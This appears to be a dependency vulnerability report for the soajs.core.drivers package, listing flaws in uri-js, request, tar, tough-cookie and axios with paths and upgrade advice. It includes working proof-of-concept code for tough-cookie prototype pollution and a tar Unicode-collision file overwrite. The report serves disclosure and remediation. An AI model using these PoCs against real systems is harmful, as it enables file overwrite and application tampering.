Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.
Remediation
There is no fixed version for uri-js.
References
medium severity
- Vulnerable module: request
- Introduced through: ms-rest-azure@2.6.2, kubernetes-client@8.3.4 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: ms-rest-azure@2.6.2, kubernetes-client@8.3.4 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › tough-cookie@2.4.3
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.
Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging.
This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
